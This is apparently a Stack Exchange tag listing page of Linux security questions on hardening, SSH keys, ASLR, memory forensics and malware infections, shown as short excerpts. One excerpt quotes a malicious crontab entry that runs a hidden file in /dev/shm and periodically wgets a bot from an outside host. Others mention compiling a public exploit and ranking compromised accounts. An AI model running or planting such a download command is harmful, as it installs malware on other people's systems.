Securing Linux systems and applications; understanding Linux security features.

learn more… | top users | synonyms

6
votes
4answers
1k views

Fastest way to “lockdown” CentOS and have network intrusion detection, firewall, etc up and running?

Are there any proven concepts or "installers" to get up and running based on the best practices securing and locking down a CentOS installation? I'm hoping for an automated tool that would scan the ...
-3
votes
2answers
19k views

backtrack or kali linux ??? Which is best for a beginner pen tester ? [closed]

I am using backtrack right now but i also wish to switch to kali linux if its more interactive. Because i am just a beginner pen tester. I tried with both bt4 and bt5, but novice in kali linux.
0
votes
1answer
103 views

Strange Virus Infecting My Server

I am currently working on a Web App on my dedicated server (LAMP) and it seems like it might be infected with some strange malware/virus of some kind. When I access some domains on that server (every ...
2
votes
3answers
1k views

How Tor, Privoxy, Vidalia and Polipo are getting together?

I realized that these applications are frequently used together. What is the role of each software in the mission of anonymity and privacy on the web? While I understand Vidalia is a GUI provider, I ...
1
vote
0answers
95 views

What are some good design practices for cross-platform certificate storage?

Question from the Bouncy Castle development list: At present we use the Windows certificate store as: var store = new X509Store(StoreName.My, StoreLocation.LocalMachine); ...
0
votes
1answer
855 views

Using Volatility Framework with Linux memory dumps

I am using Volatility Framework 2.2 to anlayze a Linux memory dump. This memory dump was taken from an Ubuntu 12.04 LTS x86_64 machine with the kernel version 3.5.0-23 I have the profile for it and ...
5
votes
3answers
2k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
6
votes
4answers
566 views

Security of different OS

At my work we are given a computer to set up at home so if we ever feel like working from home we can do so. The thing is that whenever it comes to developing for java I always prefer using windows or ...
0
votes
1answer
175 views

Fishy: VMware sends all traffic through akamai

I'm running Linux inside of VMware on the Mac, and on Linux I'm running a program that has connections open to perhaps 4 different machines. On the OS/X side however VMware has only 1 active network ...
-1
votes
2answers
193 views

How to store my contacts encrypted?

I use KeePass for storing my passwords. What should I use if I want to store my several hundred contacts (name, phone number, email, etc) encrypted?
5
votes
1answer
157 views

Hidden directory with 0x0d0x0a

Someone has hidden a directory to fool policies on a FTP account. The directory name was 0x0d0x0a. How did the user create a folder with that name? The directory is nearly invisible with ls but ...
-1
votes
1answer
333 views

Exploit Compilation Problem [closed]

I am trying to compile the following exploit: http://www.exploit-db.com/exploits/10613/ But get the following error: local.c:12:22: fatal error: asm/page.h: No such file or directory compilation ...
7
votes
2answers
185 views

What output can a program, when executed from a command line, output to generate behavior that is a vulnerability on the terminal emulator?

Reading this post, titled "Fixing Unix/Linux/POSIX filenames", I came across a VERY interesting phrase by the author, which says: Oh, and don’t display filenames. Filenames could contain control ...
2
votes
2answers
515 views

Linux Memory Protection from buffer overflow

I am practicing Linux buffer overflow exploitation. when trying to exploit a vulnerability in crossfire, everything works well and I get the shellcode placed in the right place, and the program flow ...
0
votes
2answers
331 views

Disabling SMEP on x86_64

I have recently been doing some research into kernel exploitation on X86_64. A problem I have run into is that I have found Intel's SMEP to be killing my contrived example of a kernel NULL pointer ...
5
votes
1answer
109 views

How is using acces() opening a security hole?

The man page for access(2) tells : Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the ...
1
vote
2answers
1k views

Any reasons to why not use randomize_va_space?

I've been looking a bit into kernel options for hardening, and there is one that seems to be a good idea to deploy - randomize_va_space. But before I activate that feature I started a google search, ...
42
votes
5answers
3k views

What does Mark Shuttleworth mean by “we have root”?

In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote: Don’t trust us? Erm, we have root. You do trust us with your data already. You trust us not to screw up on ...
10
votes
1answer
562 views

Help in understanding an application's crash - exploitable?

Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ...
61
votes
9answers
10k views

Hardening Linux Server

We have already had questions on here about Hardening Apache, Hardening PHP and Securing SSH. To continue this trend I am interested in what steps people take to harden Linux servers. As in what ...
4
votes
3answers
156 views

How can you know what is distributed with your Linux

I'm curious, in theory, how can one know if for example kernel that is distributed with Ubuntu Linux is really what is on https://github.com/torvalds/linux and not some modified kernel which contains ...
0
votes
1answer
455 views

Stack Guard vs Stack Shield

I would like to know why nowadays Stack Guard is used everywhere (example: ProPolice in GCC, /GS in Visual Studio), instead of Stack Shield. Both the approaches (i.e. Stack Guard & Stack Shield) ...
20
votes
3answers
42k views

What is the difference between authorized_key and known_host file for SSH?

I am learning basics of SSH protocol. I am confused between the contents of the following 2 files: ~/.ssh/authorized_keys: Holds a list of authorized public keys for servers. When the client ...
7
votes
5answers
858 views

Securing Debian Apache PHP Server

I have Debian Apache PHP server. I want to secure him after the classic installation process. My usual steps are : List item update all packages remove all unnecessary services like named, portmap, ...
0
votes
1answer
243 views

Would adding root to a group open a security hole?

I have a server for which I have created a cron job "sendalerts" to users. Mind you this "sendalerts.php" should be runnable from two methods (via browser and also via a cron job) So cron's job is to ...
-1
votes
2answers
144 views

Linux: Blocking outside attempts at attacking computer

in the past when I wanted to block outsiders from attempting to start connections with my Linux machine's various TCP services, what I was told to do was to add this line to /etc/hosts.deny: ...
4
votes
1answer
1k views

What tools can be use for Security Auditing for Redhat

Are there any good tools that can be used for Security auditing of Redhat Linux. That can audit all the critical areas of System and provide the detailed output of all the audited sections.
2
votes
3answers
314 views

Is there an internal equivalent to fail2ban?

fail2ban is a protection against brute-force that locks a user out after a definable maximum failed login-attempts. But if a user already has access to a server with another username already fail2ban ...
5
votes
2answers
2k views

Best way to allow sudo access when using ssh keys

Probably a simple question, but I can't seem to find any actual best practices out there. I manage a handful of servers and I am really getting sick of tracking my passwords in pwsafe. I've been ...
5
votes
2answers
1k views

Securing USB flash drive on linux

We have a industrial system(running on linux) with a USB port. We have the USB port only for copying certain data. Other than this we don't want the USB drive to contain any other executables or ...
-1
votes
1answer
542 views

Afraid about SSH on my Linux system

I've checked my Linux server (Centos 6) with rkhunter. I found the following in rkhunter log [14:38:54] Checking if SSH protocol v1 is allowed [ Warning ] [14:38:54] Warning: The SSH ...
2
votes
3answers
2k views

Alternative to AirPcap for Linux?

I need to sniff WiFi packets, but according to AirPcap FAQ page, it just supports Microsoft Windows, not other platforms. Does any alternative of this product work in Linux? Please don't offer Alfa ...
1
vote
1answer
215 views

SSH authorized_keys

Can you correct me on this. I create a keypair on my PC. Copy the public key (append to authorized_keys) on the server. Disable password auth on the server, and SSH to server from my PC. I have ...
1
vote
1answer
77 views

Securing WebHosting Shell Access

If I provide SSH access to users who has paid webhosting service, what security measures should be applied ? What I can think of: SSH keys RSA of 4096 size (shall be secure for a while) Apache ...
14
votes
3answers
755 views

Why doesn't Linux randomize the address of the executable code segment?

I've recently been learning about how ASLR (address space randomization) works on Linux. At least on Fedora and Red Hat Enterprise Linux, there are two kinds of executable programs: Position ...
4
votes
2answers
1k views

Can you have 2 promiscuous (sniffing) ports on a single machine?

I'm wondering if you can actually have 2 (or more) promiscuous (sniffing) ports on a single machine, to monitor multiple network segments? And can you monitor them all with snort?
8
votes
3answers
3k views

Is CentOS a good choice from a security perspective?

How secure is the CentOS Linux distribution? I noticed there were times when there were no up-to-date patches for some version of CentOS (e.g., 5.6). I read this on some mailing list that I can't ...
5
votes
2answers
4k views

How trustworthy is SELinux? [closed]

Given the ongoing leaks concerning mass surveillance and the fact that the NSA is the original developer of SELinux, I'm wondering whether that means that backdoors should be expected in there? As ...
4
votes
1answer
478 views

Can auditd track events that occured over NFS

I have multiple servers mounting a NFS shared called /opt/WHATEVER from Server X. Server X has auditd enables with rule: sudo /sbin/auditctl -w /opt/WHATEVER -p rwxa When events occur on Server X ...
10
votes
1answer
2k views

Backtrack 5 in a VM - Why bridged networking over NAT?

When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, ...
1
vote
2answers
422 views

MAC spoofing preventing connection

I'm attempting MAC spoofing on a network I own. I'm connecting to a NETGEAR WNDR4300 wireless router from an Ubuntu Linux machine. The network uses WPA2-PSK [AES] security. Connecting to the network ...
6
votes
2answers
307 views

Is there any Linux distro or kernel patch that wipes a process memory space after the process exits?

An application runs on an embedded battery-powered PC, accessible to some restricted public, that stores secrets in RAM. To prevent cold boot attacks and that the PC is stolen to extract its secrets, ...
9
votes
7answers
1k views

How are open-sourced operating systems and software kept secure?

I have been wondering about his for awhile. I have Linux running on a PC at home. I had a jailbroken iPhone. They both have attributes that make them very attractive, and they are also FREE! But I ...
0
votes
1answer
232 views

How could `iptables -F` lock me out of the server? [closed]

I was just configuring IPtables and whilst doing so, had the default chain policies set to ACCEPT, but when happy with the generated rules I changed that to DROP for all chains. I did not run ...
6
votes
2answers
671 views

Can i compare linux user permissions without root access?

I've compromised two Linux user accounts on a RHEL machine (neither of which have root permissions) and I want to determine which account is more 'useful' to me in terms of access and privileges. Is ...
0
votes
3answers
813 views

How to find vulnerable sites on a web server

A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. ...
-1
votes
1answer
221 views

If someone downloaded 600GB , can that be ddos attack [duplicate]

Last night some one exploit some vulnerability in my site and then upload php script in my images folder . I have the Amazon EC2 server with centos. Now the Hacker downloaded 600GB and increased my ...
1
vote
1answer
280 views

How to authenticate to racoon with a certificate chain if only the root CA is known

I'm trying to setup IPsec using x509 certificates on Linux. I'm using racoon for that task. I've come to the point where the authentication works fine if I keep every link of the certificate chain on ...
5
votes
4answers
276 views

Is Encrpyting Home Sufficient?

I currently have a fully encrypted Windows System, and I'm looking at switching to Ubuntu. Is encrypting my home directory (with ecryptfs) sufficient? On windows this would be problematic due to ...
12
votes
5answers
1k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes can someone read this script and tell me if it safe and is it effect any how on gpg security. It gives me an ...